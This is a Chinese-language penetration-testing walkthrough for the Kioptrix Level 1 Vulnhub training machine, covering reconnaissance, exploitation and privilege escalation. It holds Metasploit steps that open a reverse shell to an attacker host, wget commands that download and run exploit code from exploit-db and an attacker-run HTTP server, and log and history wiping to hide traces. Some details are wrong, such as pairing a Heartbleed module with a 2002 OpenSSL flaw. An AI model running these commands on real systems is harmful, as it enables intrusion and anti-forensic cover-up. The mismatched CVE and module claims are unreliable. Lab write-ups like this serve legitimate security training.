1. Kioptrix Level 1靶机概述
Kioptrix Level 1是Vulnhub平台上经典的渗透测试入门靶机,作为2009年发布的Kioptrix系列第一关,它模拟了存在多个已知漏洞的Linux服务器环境。这个靶机特别适合刚接触渗透测试的新手练习基础技能,因为它的漏洞利用链清晰且文档丰富,能够帮助学习者建立完整的渗透测试方法论。
这个靶机运行在VMware虚拟化平台上,采用2.6.9内核的Linux系统,预装了Apache 1.3.20、mod_ssl 2.8.4、OpenSSL 0.9.6b等存在漏洞的服务组件。从渗透测试角度来看,它主要涉及以下几个关键漏洞点:
- OpenSSL版本存在"溢出"漏洞(CVE-2002-0656)
- mod_ssl存在"缓冲区溢出"漏洞(CVE-2002-0082)
- Samba服务存在"远程代码执行"漏洞(CVE-2003-0201)
- 系统内核存在"本地提权"漏洞(CVE-2009-1185)
2. 靶机环境搭建与网络配置
2.1 下载与导入靶机镜像
首先需要从Vulnhub官网下载Kioptrix Level 1的OVA镜像文件。下载完成后,使用VMware Workstation或VirtualBox导入该镜像。导入时需要注意:
- 确保虚拟机的网络适配器设置为"桥接模式"或"NAT模式"
- 建议分配至少512MB内存(原始配置为256MB可能影响性能)
- 磁盘空间保留默认的8GB即可
提示:如果使用VirtualBox导入时遇到"不支持的硬件版本"错误,可以先用文本编辑器打开OVA文件,修改
<vbox:Machine>标签中的版本号为你当前VirtualBox支持的版本。
2.2 网络发现与目标识别
启动靶机后,我们需要确定它在网络中的IP地址。常用的方法有:
bash复制# 使用arp-scan扫描本地网络
sudo arp-scan -l
# 使用nmap进行ping扫描
nmap -sn 192.168.1.0/24
假设我们发现靶机IP为192.168.1.105,接下来可以进行端口扫描:
bash复制nmap -sV -O -p- 192.168.1.105
扫描结果通常会显示以下开放端口:
- 22/tcp - OpenSSH 2.9p2
- 80/tcp - Apache 1.3.20
- 111/tcp - rpcbind
- 139/tcp - Samba smbd
- 443/tcp - Apache/1.3.20 (SSL)
3. 漏洞分析与利用
3.1 Samba远程代码执行漏洞(CVE-2003-0201)
Samba 2.2.8版本存在缓冲区溢出漏洞,可以通过以下步骤利用:
- 使用Metasploit框架:
bash复制msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.1.105
exploit
- 手动利用方式:
bash复制# 下载并编译公开的exploit代码
wget https://www.exploit-db.com/download/10.c -O samba_exploit.c
gcc -o samba_exploit samba_exploit.c
./samba_exploit -b 0 -v 192.168.1.105
成功利用后会获得一个低权限shell,此时可以执行基础命令但权限有限。
3.2 OpenSSL溢出漏洞(CVE-2002-0656)
Apache mod_ssl的OpenSSL组件存在缓冲区溢出漏洞:
- 使用Metasploit模块:
bash复制use auxiliary/scanner/http/open_ssl_heartbleed
set RHOSTS 192.168.1.105
set RPORT 443
run
- 手动测试方法:
bash复制openssl s_client -connect 192.168.1.105:443
# 然后发送特殊构造的TLS心跳包
3.3 本地提权漏洞(CVE-2009-1185)
获得初始shell后,可以通过以下步骤提权:
- 下载并编译提权exp:
bash复制wget https://www.exploit-db.com/download/8572.c -O pr.c
gcc -o pr pr.c
chmod +x pr
./pr
- 成功后检查权限:
bash复制whoami
# 应该显示root
4. 渗透测试完整流程演示
4.1 信息收集阶段
bash复制# 详细服务版本探测
nmap -sV -sC -O -p- 192.168.1.105
# 检查web目录结构
nikto -h http://192.168.1.105
dirb http://192.168.1.105 /usr/share/wordlists/common.txt
# 枚举Samba共享
smbclient -L //192.168.1.105
4.2 漏洞利用阶段
- 通过Samba获取初始访问:
bash复制msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.1.105
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.100
exploit
- 建立稳定shell:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
4.3 权限提升阶段
- 检查内核版本:
bash复制uname -a
cat /etc/issue
- 上传并编译提权exp:
bash复制# 本地机器上
python -m SimpleHTTPServer 8000
# 靶机上
wget http://192.168.1.100:8000/pr.c
gcc -o pr pr.c
./pr
- 获取root权限后:
bash复制cd /root
cat proof.txt
5. 常见问题与解决方案
5.1 Samba漏洞利用失败
可能原因及解决方法:
- 靶机Samba服务未启动:检查
netstat -tulnp确认139端口监听 - 防火墙阻止:检查iptables规则
iptables -L - Payload不匹配:尝试不同的payload类型
5.2 本地提权exp编译失败
解决方法:
bash复制# 尝试静态编译
gcc -static -o pr pr.c
# 或者使用预编译的二进制
wget http://192.168.1.100:8000/pr -O pr
chmod +x pr
5.3 网络连接问题
排查步骤:
- 确认靶机IP正确
- 检查虚拟机网络设置
- 测试基础连通性:
bash复制ping 192.168.1.105
telnet 192.168.1.105 80
6. 渗透后的痕迹清理
6.1 清除日志文件
bash复制# 清除auth日志
echo "" > /var/log/auth.log
# 清除bash历史
echo "" > ~/.bash_history
history -c
6.2 删除上传的文件
bash复制rm -f pr pr.c
6.3 恢复服务配置
如果修改了任何服务配置,记得恢复原状:
bash复制# 例如恢复Samba配置
cp /etc/samba/smb.conf.bak /etc/samba/smb.conf
service smbd restart
7. 学习延伸与进阶练习
完成基础渗透后,可以尝试以下进阶练习:
- 不使用Metasploit完成全部渗透流程
- 尝试手动构造Samba漏洞的exploit代码
- 编写自动化脚本完成整个渗透过程
- 研究其他可能的攻击向量:
- SSH服务漏洞
- RPC服务漏洞
- Web目录遍历漏洞
推荐后续学习靶机:
- Kioptrix Level 2
- Metasploitable 2
- DVWA (Damn Vulnerable Web Application)
